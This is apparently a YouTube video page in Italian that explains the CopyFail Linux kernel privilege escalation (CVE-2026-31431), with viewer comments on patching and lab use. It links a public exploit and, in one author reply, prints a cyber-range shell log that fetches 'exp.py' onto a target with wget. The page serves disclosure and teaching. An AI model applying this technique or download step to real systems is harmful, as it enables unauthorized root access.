Attacco CopyFail - Privilege Escalation per Linux - Patchare subito!

Guarda su YouTube → 31:52 30 aprile 2026

Descrizione

Analisi dell'exploit CopyFail (CVE-2026-31431). L'attacco permette di effettuare una privilege escalation a partire da un iniziale accesso ad un sistema. Da una shell non root (come www-data), possiamo diventare root immediatamente. Come? eseguendo uno script python. Lo script python inteagisce con il kernel tramite il socket AF_ALG, che permette di accedere al sottosistema crittografico del kernel. Un particolare algoritmo offerto dal kernel, authencesn, combinato con la primitiva splice, permette di corrompere in modo deterministico 4 byte dalla page cache di qualsiasi file leggibile a partire da qualsiasi offset. Questo permette di sovrascrivere un binario SUID come il binario 'su' con un ELF malevolo, in modo da ottenere una shell da root. Riferimenti: - https://copy.fail/ - https://xint.io/blog/copy-fail-linux-distributions - https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py Sto costruendo un luogo per imparare l'informatica: - https://esadecimale.it - https://learn.esadecimale.it - https://forum.esadecimale.it

Commenti 28

I commenti vengono da YouTube e sono aggiornati periodicamente.

@esadecimale Autore 30 aprile 2026 10

BTW, se provate ad eseguire l'exploit, una volta patchato il sistema dovete liberare la page cache, altrimenti il binario su rimane corrotto e può essere utilizzato per privesc. Per farlo potete utilizzare il seguente comando da root echo 1 | sudo tee /proc/sys/vm/drop_caches
3 risposte
1. @stefano4721 1 maggio 2026
  
  ho eseguito l'exploit, ma non lo ho patchato. posso cmq eseguire questo comando?
2. @esadecimale Autore 1 maggio 2026
  
  @stefano4721si il comando non fa danni, semplicemente ti fa ricaricare la memoria dal file nel device
3. @anygamertm1145 4 maggio 2026
  
  Sei semplicemente un grande. Complimenti.
@ZuiXan 30 aprile 2026 1

grazie per la celerità nel portare questo contenuto ❤ patcho stasera
@LucaCanali 30 aprile 2026 1

Sempre sul pezzo e sempre top spiegazione !!!
@diepet77 2 maggio 2026

Complimenti, bel video!
@marcodepe 30 aprile 2026

Grazie prof
@erroregrammaticale6877 30 aprile 2026

grande hexa!
@fdg394 1 maggio 2026

Grazie per la full disclosure, ineccepibile e chiara. E' arrivato il momento di spostare tutti i servizi su OpenBSD, Linux sta diventando un colabrodo.
@marcodepe 30 aprile 2026

Curioso di vedere come la gestiranno dopo tutta l'attenzione alle cve sui 3pp che oghi c'è in ambito lavorativo
@claudiorizzo3447 1 maggio 2026

Su CachyOS (installato una settimana fa) chiede la password
@StyledHornet628 11 maggio 2026

ciao non riesco a trasferire nessun fila dalla mia macchina alla macchina target, ricevo sempre l'errore read only file system, un suggerimento per come posso risolvere?grazie
1 risposta
1. @esadecimale Autore 11 maggio 2026
  
  Dici nel cyber range? Mandami una mail supporto con dettagli a support [at] esadecimale [dot] it Ho appena provato e ci riesco . ctfvm-cve-2026-31431-491fc91f29bc56ee-fffa6c:~$ ls ctfvm-cve-2026-31431-491fc91f29bc56ee-fffa6c:~$ which wget /usr/bin/wget ctfvm-cve-2026-31431-491fc91f29bc56ee-fffa6c:~$ wget http://10.98.0.201:1337/exp.py -O exp.py Connecting to 10.98.0.201:1337 (10.98.0.201:1337) saving to 'exp.py' exp.py 100% |****************************************************************************************'exp.py' saved ctfvm-cve-2026-31431-491fc91f29bc56ee-fffa6c:~$ ls exp.py ctfvm-cve-2026-31431-491fc91f29bc56ee-fffa6c:~$
@1m2u3s8 16 maggio 2026

Grazie ! su archlinux con kernel 7.0.5-zen1-1-zen l' exploit non funziona
1 risposta
1. @esadecimale Autore 16 maggio 2026
  
  Si è stato patchato su arch
@linusgates555 30 aprile 2026

su fedora mi chiede password, non ho abilitato l'utente root
1 risposta
1. @esadecimale Autore 30 aprile 2026 1
  
  no se chiede password significa che non ha funzionato. Se vede che l'aggiornamento conteneva la patch al kernel oppure non utilizzava il modulo vulnerabile
@angelorosa9534 30 aprile 2026 2

Quello che non ho capito è se tutto questo avviene in ram, perché una volta fatto il reboot il binario setuid rimanga corrotto. Altra cosa non chiara è perché abbiamo rilasciato un poc praticamente offuscato
4 risposte
1. @esadecimale Autore 30 aprile 2026
  
  questo avviene in RAM si, se fai un reboot il binario non dovrebbe rimanere corrotto a meno che non ci siano meccanismi che caricano le page caches. Se le resetti come ho mostrato in un commento su non dovrebbe essere più corrotto. Non si corrompe il file ma la versione salvata in cache del file (in realtà della memory page che contiene parti del file) diciamo che hanno rilasciato il PoC un po' troppo in fretta, considerando che molte distro non hanno ancora patchato :D
2. @angelorosa9534 30 aprile 2026 1
  
  @esadecimalel’ho eseguito su rhel su virtual box ma riavviando era ancora corrotto… boh Sulla questione del poc mi sembra offuscato più per cercare di flexare che sono 700byte di exploit….
3. @Ak1r4Yuk1 30 aprile 2026
  
  @angelorosa9534non è per flexare ma per mostrare che può anche bypassare varie difese tipo gli EDR
4. @angelorosa9534 1 maggio 2026 1
  
  @Ak1r4Yuk1non bypassa proprio niente quella non è vera obfuscation. E comunque sono argomenti non inerenti il mostrare il POC della vulnerabilità, al massimo ci fai uno script a parte se proprio ci tieni
@PaulieGualtieri-d9z 30 aprile 2026

gna gnignux gnon gna virus
4 risposte
1. @esadecimale Autore 30 aprile 2026 3
  
  Cosa c'entra con questo? Ogni software complesso ha delle vulnerabilità. Il problema di Windows inizia con la M e finisce con la t
2. @TheMartinAudio 9 maggio 2026
  
  non ci hai capito una mazza...non si tratta di un virus ma di vulnerabiltià, anche winzozz e mac ne patchano 50 al giorno...è la routine da 30 anni a questa parte.
3. @PaulieGualtieri-d9z 9 maggio 2026
  
  @TheMartinAudio gni gnuse gnarch gnignux btgnai
4. @PaulieGualtieri-d9z 9 maggio 2026
  
  @TheMartinAudio gni gnuse gnarch gnignux btgnai